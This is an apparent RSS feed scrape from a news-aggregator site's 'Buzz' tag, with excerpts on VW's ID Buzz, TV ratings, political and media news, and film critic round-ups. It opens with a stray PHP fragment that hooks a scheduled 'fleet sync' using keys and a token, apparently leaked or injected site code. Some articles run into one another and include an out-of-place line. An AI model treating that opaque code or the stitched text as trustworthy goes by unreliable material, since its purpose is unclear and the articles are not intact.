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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Buzz – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 07 Sep 2022 00:21:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Buzz – Brief News https://briefnews.eu 32 32 What we learned driving VW’s new electric ID Buzz https://briefnews.eu/what-we-learned-driving-vws-new-electric-id-buzz/ https://briefnews.eu/what-we-learned-driving-vws-new-electric-id-buzz/#respond Wed, 07 Sep 2022 00:21:28 +0000 https://briefnews.eu/what-we-learned-driving-vws-new-electric-id-buzz/
a green and white ID Buzz, an orange and white ID Buzz, and a yellow and white VW ID Buzz parked underneath a dock crane

Enlarge / Volkswagen won’t reveal the US-spec ID Buzz for another year, but it invited us to drive the European version, which it has just launched. (credit: Jonathan Gitlin)

COPENHAGEN, DENMARK—Few vehicles in the time we’ve been covering the industry have attracted—or sustained—quite the level of interest as Volkswagen’s ID Buzz. Part realization of two decades’ worth of concept cars and teases, part apology for dieselgate, it’s an electric minivan with retro-cool styling, built on a solid electric vehicle platform. US-spec ID Buzzes are still some way off—we won’t get the Buzz until 2024—but in the meantime, VW asked if we’d be interested in trying out the two-row, European-spec model, which is just about to go on sale the other side of the Atlantic.

Boxy microbuses have been a part of the VW lineup since 1949’s original Type 2, also known as a T1, Kombi, or Transporter. As time went on, the buses evolved to be more angular, and they eventually started to look like any other minivan. But as VW found with the Beetle concept in 1994, there’s a lot of affection out there for its early designs.

The first retro-looking revival attempt was a 2001 concept called the Microbus. This was before people realized you could daisy-chain immense amounts of laptop batteries together to make a viable electric vehicle, so the 2001 Microbus concept would have been powered by VW’s internal combustion engines—most commonly its ubiquitous and cheaty diesels, no doubt.

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In the latest TV ratings, CBS’ Haircut Night in America — in which stylists walked celebs (and viewers) through the perfect DIY haircut — came out a bit short on the sides, delivering just a 0.4 demo rating to go with a total audience of 3.4 million viewers.

This week’s Blue Bloods rerun, meanwhile, copped Friday’s largest audience, with 3.93 million viewers.

Fox’s Friday Night SmackDown (2.15 mil/0.6) ticked up from last week to tie ABC’s Shark Tank rerun (3.9 mil/0.6) for the nightly demo win.

Elsewhere, The CW’s Masters of Illusion (835K/0.1) was steady.

The Live+Same Day numbers reported in our daily-ish ratings column do not reflect a show’s overall performance, given the increases in delayed playback via DVR and streaming platforms. These Live+Same Day numbers instead are used to illustrate any trends or high/low superlatives. Happy Fun Ball may stick to certain types of skin.

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]]> https://briefnews.eu/friday-tv-ratings-cbs-quarantine-haircut-show-draws-little-buzz/feed/ 0 Beto O’Rourke receives state invites as buzz surrounding his 2020 presidential campaign grows https://briefnews.eu/beto-orourke-receives-state-invites-as-buzz-surrounding-his-2020-presidential-campaign-grows/ https://briefnews.eu/beto-orourke-receives-state-invites-as-buzz-surrounding-his-2020-presidential-campaign-grows/#respond Sat, 01 Dec 2018 10:48:02 +0000 http://briefnews.eu/beto-orourke-receives-state-invites-as-buzz-surrounding-his-2020-presidential-campaign-grows/ Beto O'RourkeChip Somodevilla/Getty Images

  • The New Hampshire Young Democrats have invited Rep. Beto O’Rourke to the home of the nation’s first presidential primary.
  • The invitation comes amid heightened buzz that Beto could run for the White House.
  • Some Democratic donors are clamoring for the three-term lawmaker from El Paso to run for president in 2020.

AUSTIN, Texas (AP) — The New Hampshire Young Democrats have invited Rep. Beto O’Rourke to the home of the nation’s first presidential primary amid heightened buzz the Texan could run for the White House after narrowly losing his state’s Senate race.

The invitation arrived Nov. 10. Democrats in Iowa, whose caucuses kick off presidential voting, have extended similar invites.

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]]> https://briefnews.eu/beto-orourke-receives-state-invites-as-buzz-surrounding-his-2020-presidential-campaign-grows/feed/ 0 RT'S MULTIMEDIA PROJECT ROMANOVS100 GRABS TWO WINS AT THE DRUM SOCIAL BUZZ AWARDS https://briefnews.eu/rts-multimedia-project-romanovs100-grabs-two-wins-at-the-drum-social-buzz-awards/ https://briefnews.eu/rts-multimedia-project-romanovs100-grabs-two-wins-at-the-drum-social-buzz-awards/#respond Fri, 30 Nov 2018 16:25:06 +0000 http://briefnews.eu/rts-multimedia-project-romanovs100-grabs-two-wins-at-the-drum-social-buzz-awards/

МOSCOW, 30 NOVEMBER— #Romanovs100, the large-scale, cross-platform, multimedia project launched by RT to mark the centenary of the execution of the last Russian royal family, won in two categories at the Drum Social Buzz Awards, a competition honoring outstanding work in social media.

RT’s project took first in the category ‘Best International Strategy’, as well as in the category ‘Most Innovative Use of Social’, beating out projects produced for Samsung, Adidas, and Nestle, among others. #Romanovs100 was also highly commended in the category ‘Best Use of Imagery’.

#Romanovs100, produced in collaboration with the State Archive of Russia, took place across four platforms – YouTube, Facebook, Twitter and Instagram. Over the course of 100 days – from April 8 to July 17 – rare archival photographs from the Romanovs’ personal collection were published across the project’s accounts. The published photographs represent the most complete collection of photos taken by the royal family to this day. As part of the #Romanovs100 project, RT also produced a VR animation of the ‘Romanovs’ Lullaby,’ an exclusive composition by well-known Russian musician and performer Peter Nalitch. In addition, RT produced three other video clips in the style of the early 20th century, using archival photographs as a reference to reconstruct real moments from the royal family’s life.

Earlier this year, #Romanovs100 won at the Drum Content Awards and was a finalist in two categories at the Epica Awards.

#Romanovs100 was created by the same team behind the channel’s international #1917LIVE project — one of the biggest-ever historical re-enactments on Twitter. Dozens of Twitter accounts were set up as key historical characters of the period, from the last Russian Tsar Nicholas II and revolutionary leader Vladimir Lenin to common workers and soldiers, tweeting events from 100 years ago in real-time. Historians from the US and UK took part in the project, as well as the world-renowned Brazilian author Paulo Coelho. The project has received more than 20 Russian and international awards, including the 2018 Webby People’s Voice Award. At the Shorty Social Good Awards, the project won for ‘Best in Education’ and won gold for ‘Best Overall Twitter Presence.’ It was also a three-time finalist at this year’s Cannes Lions festival.

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]]> https://briefnews.eu/rts-multimedia-project-romanovs100-grabs-two-wins-at-the-drum-social-buzz-awards/feed/ 0 ‘Mary Poppins Returns’ Early Buzz: As Expected, Pretty Much Everyone Loves This Movie https://briefnews.eu/mary-poppins-returns-early-buzz-as-expected-pretty-much-everyone-loves-this-movie/ https://briefnews.eu/mary-poppins-returns-early-buzz-as-expected-pretty-much-everyone-loves-this-movie/#respond Fri, 30 Nov 2018 08:12:02 +0000 http://briefnews.eu/mary-poppins-returns-early-buzz-as-expected-pretty-much-everyone-loves-this-movie/ mary poppins returns early buzz

The social media embargo for Mary Poppins Returns has lifted like an otherworldly nanny floating up into the sky, and the early buzz is rolling in. Do critics find the Emily Blunt-starring Mary Poppins sequel magical? Does Lin-Manuel Miranda shine in his first big screen role? Does director Rob Marshall rekindle the spirit of the original? Or is the end result supercalifragilisticexpialistupid? Read the Mary Poppins Returns early buzz below!

As expected, I seemed to be in the (very small) minority of those who didn’t care for it.

The most surprising part about tonight, though, is that /Film’s Peter Sciretta is one of the only other people online so far who also wasn’t a fan of this film:

It looks like Yolanda Machado is joining us while the rest of the world continues the love fest (and more power to ’em!):

And again, as expected, the overwhelming majority of critics were whisked away by this movie like a kite on the wind:

I’m genuinely glad people enjoyed this experience – it just wasn’t for me. None of the songs were memorable, there was no good reason for this film to exist, and like Disney’s Christopher Robin earlier this year, it overtly glorifies nostalgia in an era in which our popular culture is already drowning in it. But audiences are going to lose their minds for this film this, and it’s going to be a massive hit. And again, even I have to admit that Emily Blunt was excellent, so it’s not all bad.

Mary Poppins Returns opens December 19, 2018.

In Disney’s “Mary Poppins Returns,” an all new original musical and sequel, Mary Poppins is back to help the next generation of the Banks family find the joy and wonder missing in their lives following a personal loss. Emily Blunt stars as the practically-perfect nanny with unique magical skills who can turn any ordinary task into an unforgettable, fantastic adventure and Lin-Manuel Miranda plays her friend Jack, an optimistic street lamplighter who helps bring light—and life—to the streets of London.

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]]> https://briefnews.eu/mary-poppins-returns-early-buzz-as-expected-pretty-much-everyone-loves-this-movie/feed/ 0 A new commissioner at America’s main securities regulator causes a buzz https://briefnews.eu/a-new-commissioner-at-americas-main-securities-regulator-causes-a-buzz-2/ https://briefnews.eu/a-new-commissioner-at-americas-main-securities-regulator-causes-a-buzz-2/#respond Wed, 28 Nov 2018 22:11:04 +0000 http://briefnews.eu/a-new-commissioner-at-americas-main-securities-regulator-causes-a-buzz-2/ Hester Peirce has given a series of speeches about the downsides of government intervention

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Not your regular regulator

FOR ALL the talk about deregulation under President Donald Trump, when it comes to the financial industry the word used by many is “tailoring”—meaning trimming the loose threads of tangled rules, rather than unpicking them. An exception is Hester Peirce, who in January became one of the five commissioners at the Securities and Exchange Commission (SEC), America’s most important financial regulator. Since her appointment she has given a series of speeches with a polite tone and blunt message about the downsides of government intervention.

Though she has yet to gain a large following, her words have not gone unremarked. Her “arrival at the SEC is genuinely exciting”, writes Steven Lofchie, a securities lawyer who runs a popular (within the small world of regulation) blog. It is probably the first time the word has been used in connection with the SEC in years.

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]]> https://briefnews.eu/a-new-commissioner-at-americas-main-securities-regulator-causes-a-buzz/feed/ 0 ‘Ralph Breaks the Internet’ Early Buzz: A Hilarious Visual Feast with a Big Ole Heart https://briefnews.eu/ralph-breaks-the-internet-early-buzz-a-hilarious-visual-feast-with-a-big-ole-heart/ https://briefnews.eu/ralph-breaks-the-internet-early-buzz-a-hilarious-visual-feast-with-a-big-ole-heart/#respond Mon, 05 Nov 2018 01:36:13 +0000 http://briefnews.eu/ralph-breaks-the-internet-early-buzz-a-hilarious-visual-feast-with-a-big-ole-heart/ ralph breaks the internet ebay checkout

What made Wreck-It Ralph great back in 2012 wasn’t the plethora of video game references, but the big beating heart of a movie thanks to the friendship between the titular bad guy and the misfit racer Vanellope von Schweetz. Thankfully, the early buzz on the Disney sequel confirms that, much like the first film, Ralph Breaks the Internet isn’t just chock full of Disney-owned Easter eggs, but it also makes good on the emotional core of the first film and digs into the darker side of the internet.

Get the first early Ralph Breaks the Internet reactions below.

Our own Peter Sciretta caught the movie, and he doesn’t think it’s quite as good as the first film:

However, our old pal Germain Lussier was rather impressed with the movie, putting it on par with the first:

One reaction even says the sequel surpasses the greatness of the first movie in every way:

Meanwhile, most of the other reactions have plenty of nice things to say, praising the presence of the Disney princesses, who apparently are even more prominent than you might have thought. Plus, the movie apparently has a lot going on visually, making multiple viewings mandatory if you want to soak in the highly populated world of the internet.

Even those who aren’t as high on the movie still think it’s a sequel with a lot of fun and laughs:

The only truly negative reaction takes issue with the presentation of the internet and the emotional core that many others praised, specifically when it comes to the topic if toxic friendship:

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Those are the early reactions to Ralph Breaks the Internet for now. There will be full reviews coming as we get closer to the November 21, 2018 release date just before Thanksgiving.

In the meantime, watch the trailer here and check out the synopsis for the animated sequel:

Video-game bad guy Ralph (voice of John C. Reilly) and best friend Vanellope von Schweetz (voice of Sarah Silverman) leave the comforts of Litwak’s arcade in an attempt to save her game, Sugar Rush. Their quest takes them to the vast, uncharted world of the internet where they rely on the citizens of the internet–the Netizens–to help navigate their way. Lending a virtual hand are Yesss (voice of Taraji P. Henson), the head algorithm and the heart and soul of the trend-making site “BuzzzTube,” and Shank (voice of Gal Gadot), a tough-as-nails driver from a gritty online auto-racing game called Slaughter Race, a place Vanellope wholeheartedly embraces–so much so that Ralph worries he may lose the only friend he’s ever had.

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]]> https://briefnews.eu/ralph-breaks-the-internet-early-buzz-a-hilarious-visual-feast-with-a-big-ole-heart/feed/ 0 ‘The House with a Clock in Its Walls’ Early Buzz: Fine But Forgettable Family Fun https://briefnews.eu/the-house-with-a-clock-in-its-walls-early-buzz-fine-but-forgettable-family-fun/ https://briefnews.eu/the-house-with-a-clock-in-its-walls-early-buzz-fine-but-forgettable-family-fun/#respond Tue, 18 Sep 2018 21:00:13 +0000 http://briefnews.eu/the-house-with-a-clock-in-its-walls-early-buzz-fine-but-forgettable-family-fun/ the house with a clock in its walls early buzz

Eli Roth, splatter-horror filmmaker extraordinaire, directing a kid’s movie headlined by Cate Blanchett and Jack Black? With a team like that, how could The House with a Clock in its Walls possibly turn out? Apparently, exactly how you’d expect it to turn out, according to critics.

Early buzz of the fantasy film adapting John Bellairs’ 1973 children’s novel of the same name says that The House with a Clock in its Walls has all the hallmarks of its family-fantasy genre and none of the hallmarks of director Roth’s gory repertoire. But that’s fine, because with an enthusiastic Blanchett and Black leading the fantasy film, The House with a Clock in its Walls is perfectly attuned to its target demographic — and not much else.

Find out what critics have to say in our round-up of The House with a Clock in its Walls early buzz.

The Hollywood Reporter calls the film “a zany, immaculately designed kids adventure,” adding:

The movie is a throwback to studio fare like Hocus Pocus or Casper — it’s anybody’s guess if Universal can entice parents to theaters when it opens Friday. But as a family film in that vein it largely succeeds, buoyed by Black’s typical exuberance, Blanchett’s typical slyness and a richly evocative rendering of a Rockwellian suburb sprinkled with goofer dust. Less interesting, as is the way with many audience-avatar YA protagonists (sorry, Harry), is the main character, and Vaccaro’s rather hyper-articulated performance doesn’t help.

Forbes praises the movie as a “wonderful, kid-sized horror fantasy,” arguing that The House with a Clock in Its Walls would be considered a “generational classic had it opened in 1984”:

The House with a Clock in Its Walls is a delight. As the first film from the revived Amblin brand, it stands alongside the “just for kids” classics of the 1980’s and 1990’s while refusing to merely homage or copy those generational classics. Based on a John Bellairs novel and adapted by Erick Kripke, this Eli Roth-directed fantasy expertly blends kid-sized scares with all-ages wonderment. The picture feels bigger than its (mostly) single-set location, although that single set (an expansive mansion on the outskirts of town) looks and feels like a cleaner version of Crimson Peak. But it understands that all the glorious production design in the world doesn’t mean much without an engaging cast of core characters.

io9 admits that while The House with a Clock in Its Walls has some “enchanting moments,” it is “mostly forgettable”:

The fact of the matter is The House with a Clock in Its Walls simply isn’t that exciting. It’s set in a world of magic and wonder that rarely feels magical or wonderful. It’s a world in which a person can bring someone back from the dead and then immediately go to bed, and where a chair can have a personality but not do anything of significance. Almost everything in the movie, even the CG creatures, somehow feel grounded, which tends to undercut many of the more fantastic elements. A few scenes, like a patch of killer pumpkins, work as intended, but that’s the exception, not the rule.

IndieWire is a bit harsher, praising Cate Blanchett’s performance as a “charming” witch, but calling the YA adaptation “a waste of time”:

Universal’s soulless 2018 film adaptation of the same name, on the other hand, is directed by “Hostel” auteur Eli Roth, whose cartoonish approach makes this bittersweet saga of witchcraft and wizardry feel like nothing more than a well-furnished theme park attraction. Still, it’s sure to be a veritable nightmare factory for kids of a certain age, and there can only be so much shade to throw at a movie in which Cate Blanchett head-butts a demonically possessed pumpkin in order to help save the world from Kyle MacLachlan’s rotting corpse.

The Wrap praises both Blanchett and Jack Black’s performances, stating that “Cate Blanchett and Jack Black are clearly having a blast as a friendly witch and warlock, and their joy is infectious”:

In other words, “The House With a Clock in Its Walls” is exactly what it looks like, and more or less exactly what it should be. It’s the perfect double feature with “Goosebumps,” another surprisingly effective family-horror hybrid starring Jack Black.

ScreenRant says the “spooky fun” that comes from The House With a Clock in Its Walls is the work of Blanchett and Black:

Still, the stars of The House with a Clock in Its Walls aren’t the magic or even Vaccaro’s Lewis, it’s Black and Blanchett, who serve as the two core characters in the film’s story. Kripke, who has created such beloved on-screen teams as Supernatural’s Winchester brothers and Timeless‘ Lifeboat team, puts his stamp on the duo of Jonathan and Florence, who trade fun barbs and banter throughout the film. For their parts, Black and Blanchett bring effervescent life to their roles, seemingly having as much fun playing the over-the-top characters as viewers will have watching them on screen. Though Black and Blanchett work best together – particularly with Blanchett working exceptionally well as the straight man to Black’s typically boisterous humor – they also bring a compelling amount of depth to their characters.

CNET notes that the YA fantasy is a “a Harry Potter imitation” but it’s “worth your time”:

Instead, it feels like [Roth] watched every single children’s fantasy ever made, picked the parts he liked best and plonked them into a boiling cauldron. The end result is, well, a better-than-average Harry Potter wannabe — which, in the end, might just be enough for kids.

Entertainment Weekly also pulls out the Harry Potter comparisons for The House with a Clock in Its Walls, which “kind of works”:

Adapted from John Bellairs’ 1973 YA mystery fantasia, The House with a Clock in Its Walls is like a mash-up of Harry Potter, The Addams Family, and the Goosebumps saga, but busier, noisier, and more exhausting. It’s mostly giddy, ghouly fun — even if you walk away with the impression that it might have made a slightly better Universal Theme Park attraction than a film.

Variety calls the film “clunky but not entirely un-charming” in its “vaguely Harry Potter-esque wish-fulfillment fantasies,” adding:

While not terribly original, it would be fair to call the movie inventive, like one of those eccentrics who’s constantly pestering the patent office with what he thinks are fresh ideas, only to discover that someone else got there first. Together with production designer John Hutman and “Beauty and the Beast” VFX supervisor Louis Morin, Roth has brought to life a creepy mansion with surprises around every corner, many of which linger in the imagination long after the film has ended — from an anthropomorphic armchair that follows Lewis around like some kind of lonely old pet to the flatulent topiary griffin that keeps guard over the garden. Add to that the cadre of menacing jack-o’-lanterns out front and a room full of sinister-looking automatons that spring to life late in the film, and you’ve got plenty of supernatural supporting players to generate a few decent set-pieces. Whether today’s kids look back as fondly on “House” as their parents do on previous Amblin productions, only time will tell.

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While it mildly annoys me that most of the critics think so lowly of children so as to deem subpar fantasy entertainment “enough for the kids,” I guess there’s not much else to expect of a movie that leans so heavily into its camp.

It’s just a matter of whether you love Blanchett and Black enough to put up with the more tedious fantasy elements, or whether you’ll forgive familiar tropes that you’ve already seen time and time again. The House with a Clock in its Walls seems like it asks a lot of audiences, but at the same time, it knows what it is: a fine, but ultimately forgettable, family film.

The House with a Clock in its Walls opens in theaters on September 21, 2018.

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]]> https://briefnews.eu/the-house-with-a-clock-in-its-walls-early-buzz-fine-but-forgettable-family-fun/feed/ 0 ‘The Nun’ Early Buzz: A Weak Entry in the ‘Conjuring’ Universe Offers Jump Scares and Little Else https://briefnews.eu/the-nun-early-buzz-a-weak-entry-in-the-conjuring-universe-offers-jump-scares-and-little-else/ https://briefnews.eu/the-nun-early-buzz-a-weak-entry-in-the-conjuring-universe-offers-jump-scares-and-little-else/#respond Thu, 06 Sep 2018 16:18:33 +0000 http://briefnews.eu/the-nun-early-buzz-a-weak-entry-in-the-conjuring-universe-offers-jump-scares-and-little-else/ The Nun Reviews

This weekend brings The Nun to theaters, adding another origin story to one of the horrors from the Conjuring universe. However, fans looking for any proper explanation as to where this demonic woman of the clergy comes from may walk away disappointed. Instead, you’ll be treated to 90 minutes of jump scares and a lot of smoke and mirrors. If that’s exactly what you’re looking for from director Corin Hardy and the Conjuring universe, then you’ll be fine. But otherwise, The Nun reviews paint this as a hollow, disappointing entry in the franchise.

Andrew Barker at Variety finds the spin-off lacking purpose and sense:

The fifth film in the Conjuring Cinematic Universe, Corin Hardy’s “The Nun” looks to flesh out the story of Valak, a demonic nun first glimpsed in “The Conjuring 2,” and here seen taking hold of a remote Romanian abbey. But it never manages to answer the one question a spinoff would seem to exist to provide: What, exactly, does this otherworldly demon actually want? It certainly knows all of the tools of the trade – slowly turning crosses upside-down, casting ominous shadows, switching on old-timey radios, emerging from walls to grab terrified novitiates from behind, only to let go as soon as they scream. But as for its endgame, it doesn’t seem to have much in mind beyond punking the local clergy.

As for the film itself, “The Nun” knows exactly what it wants to do. Employing just about every trick from the Hammer Horror playbook without wasting time trying to make any sense, it provides a serviceable 96 minutes of standard-issue jump scares and supernatural hokum, keeping the franchise fresh in moviegoers’ minds and raking in some easy cash while we wait for the next proper installment.

Tim Robey at The Telegraph thinks the film just doesn’t come together well:

The Nun isn’t scary enough, doesn’t move fast enough, and has not-quite-characters who weirdly feel as though they’re occupying different films. All told, it feels like a bit of a placeholder in this series – more so than last year’s daft but effective devil-doll prequel, Annabelle: Creation.

The Nun has the inescapable feel of being not based on a true story – vaguely inspired though it might be by hauntings at Câr?a Monastery – and in fact not based on a story at all, but a series of theoretically frightening ideas for scenes.

It has relentless nunface rising ominously from a dark pool with mood music. It has bells tinkling over occupied graves. It has a diabolical snake, and dead people playing Grandmother’s Footsteps with bloodied sackcloths over their heads. It’s sludgy, and kind of random, and if you already know you’ll enjoy it anyway, you undoubtedly will.

Hugh Armitage at Digital Spy was disappointed in lack of a true origin story for the titular demon:

Fans excited to learn more about the origins of Valak will be sorely disappointed – though it deserves credit for tying in to the wider story of The Conjuring-verse in a couple of neat ways. But the plot, which was devised by Wan and Dauberman, seriously jumps the shark and opens some inconsistencies in the overarching universe that subsequent sequels will struggle to explain.

The Nun is a good-looking film (barring the odd dodgy lighting effects) with some strong design elements including a graveyard full of the least-reassuring crucifixes we’ve ever seen. But you’ll wait in vain for Hardy to take advantage of all he’s got and deliver some genuine scares. Let’s hope the future Conjuring movies don’t make a habit of it.

Bilge Ebiri at Rolling Stone calls the movie an “unholy mess”:

The creepy, somber mood, so expertly established in The Nun‘s early scenes, doesn’t last either: Once everyone gets to the abbey, the film simply gives up the ghost and cynically indulges every horror trick in the book. Hands burst through doors and grab people; crosses magically turn upside down; nuns go flying or are set aflame. Along the way, we are inundated with creepy reflections and figures plunging out of the darkness and, of course, those obligatory oh-god-what’s-that-over-your-shoulder shots. A little of this stuff goes a long way, and a lot of this stuff doesn’t go very long at all. True horror requires anticipation to work properly, but it’s hard to anticipate anything when everything’s already being thrown at us. The dread dissipates. Our screams become nothing but weary sighs.

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Tom Jorgenson at IGN knocks the movie for lacking real scares:

As a piece of the larger Conjuring universe puzzle, The Nun is a fun, if ineffectual history lesson that will provide fans with plenty of dots to connect. On its own merits, The Nun stumbles by not delivering any real terror or investment in its characters, instead resting on its strong visuals and atmosphere and, strangely, humor. Fans of The Conjuring franchise itching for more lore to pore over will get what they came for, but if you were hoping that this would be the scariest film in the franchise… keep praying.

Dana Schwartz at Entertainment Weekly finds the movie unsure of what it wants to be:

While watching The Nun, it’s possible to envision multiple versions of this film—slow-burning gothic thriller; bloody gore-horror; action-comedy—layered atop one another, like transparencies stacked on an overhead projector. Like the demon Valak, we never actually get to see this movie’s true shape, just whatever form it chooses to take on in any given scene.

Nothing stands out as uniquely memorable or iconic (the nun-in-the-mirror bit, scary as it was, was already done in The Conjuring 2). But when it leans into its camp, (I.e. when the French-Canadian “Frenchie” is on screen), The Nun comes closest to its ideal form of go-to midnight-movie, the fun younger cousin of the Conjuring movies with less build-up but more of the money shots you’ll come to a theater to see.

Ben Kenigsberg at The New York Times says to see The Nun “only if you must” and wrote:

While not as urbane or colorful, the production has the occasional feel of a middle-range, semi-forgotten Hammer Films outing, filled with lore sure to please viewers eager to find out how World War II reopened a gateway sealed since the Dark Ages. There is at least one great set piece: The graves outside the abbey have bells on them — a tradition, we’re told, dating from a time when people feared being buried alive. Sure enough, before the film is over, someone will be ringing a bell.

Jamie Righetti at IndieWire regrets that this origin story provides an explanation for this evil:

While “The Nun” has some veritable scares up its sleeve, it’s also proof that sometimes the most terrifying horrors are the ones we don’t understand.

While “The Nun” is another solid and scary entry in the “Conjuring” Universe, it is hopefully the last origin story. The point of “The Nun” was to give an explanation to evil, but what makes evil truly chilling is when there is no clear-cut answer as to why it exists.

The Nun Reviews

Christy Lemire at RogerEbert.com makes an unfavorable comparison to Minions to describe how shallow the movie is:

It’s sort of like the Minions. (Hear me out on this.) The Minions were the best part of the “Despicable Me” movies. They provided quick blasts of adorable insanity with their denim overalls and dazed expressions, their gibberish and their general incompetence. But a whole movie about them—again, the appropriately titled “Minions”—grew tedious pretty quickly when it came out on 2015.

I’m not saying that The Nun is literally like an evil version of a Minion, although she does run around in a uniform, wreaking havoc and doing her master’s bidding. But there is a similarity to the shallow nature of these crucial supporting characters that reveals itself when a feature film focuses on them.

The “Conjuring” movies—especially James Wan’s original two, and not so much the “Annabelle” prequels—stood apart from so much demon-themed horror with their well-drawn characters, strong performances and powerful emotional underpinning. “The Nun” feels like an empty thrill ride by comparison. Once it stops and you step off, you may still feel a little dizzy, but you’ll have forgotten exactly why.

Scott Mendelson at Forbes says The Nun is the “weakest chapter in The Conjuring universe” and wrote:

Despite strong acting and some engaging visuals, The Nun is a glorified nothing-burger of a movie. As a prequel to the prequel to the prequel to The Conjuring, it offers little beyond filling in a few blanks in terms of how the main villain from The Conjuring 2 came to be. Lacking the vibrant atmosphere of Annabelle: Creation, the detailed characterizations of both Conjuring movies or even some of the potent shocks and relatable moments of Annabelle, The Nun is the worst movie in a somewhat inconsistent franchise. To be fair, that’s part of the price for a so-called connected universe. Sometimes you get Wonder Woman, sometimes you get Man of Steel. Alas, in this comparison, The Nun is Suicide Squad.

William Bibbiani at The Wrap doesn’t find the movie scary and compares it to a cartoon:

“The Nun” is spooky, but it’s never genuinely scary, because it takes place in a reality divorced from our own. Every gothic element is overblown, every “boo” scare is shouted so loud it can break glass (sometimes literally). It feels like it jumped straight out of an EC Comics horror anthology, full of unreal imagery but with none of the trademark ironic moralizing.

Many of the film’s biggest centerpieces are so cartoonishly broad that any rational mind would assume they are supposed to be dream sequences.

“The Nun” doesn’t seem to belong in universe of “The Conjuring.” In the previous films, the supernatural horrors befell seemingly normal people, grounding the audience in a semblance of reality before any experts in the occult showed up. It’s scary because it could happen to you. But “The Nun” is about occult adventurers seeking out danger, giving the film a B-movie adventure sensibility that would be charmingly silly, were it not for the repetitive horror sequences which try (and usually fail) to get under your skin.

Andrew Whalen at Newsweek notes there are plenty of jump scares, but they become a bit tiresome:

There’s more to The Nun plot than that, including sacred relics, holy visions, Teutonic Knights and a portal to Hell, but it doesn’t matter too much, because The Nun is about piling as many scares as possible into 90 minutes. While not as elegant as the agonizing builds and clever scares of The Conjuring movies, The Nun makes up for it in quantity.

Nearly every scene features Father Burke or Sister Irene confronting mysterious, habit-cloaked entities, wielding crosses splashed with holy water, digging up graves, reading old texts or exploring labyrinthine crypts, the Nun likely to pop out from behind every corner. A significant percentage of the runtime is taken up with a character walking, ever-so-slowly, toward a turned-away nun kneeling on the floor, ready to pounce or reveal a demonic face. This rapid-fire approach to horror keeps The Nun from ever getting close to boring, though it does dull the senses.

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With a story that doesn’t quite measure up to the lore of The Conjuring franchise and scares that feel cheap, it sounds like The Nun is a disappointment. However, the sheer number of jump scares in the movie have many of the critics pointing out that the movie is never boring. At the very least, director Corin Hardy knows how to set the stage and deliver some frights, even if the movie lacks substance.

The Nun hits theaters tonight.

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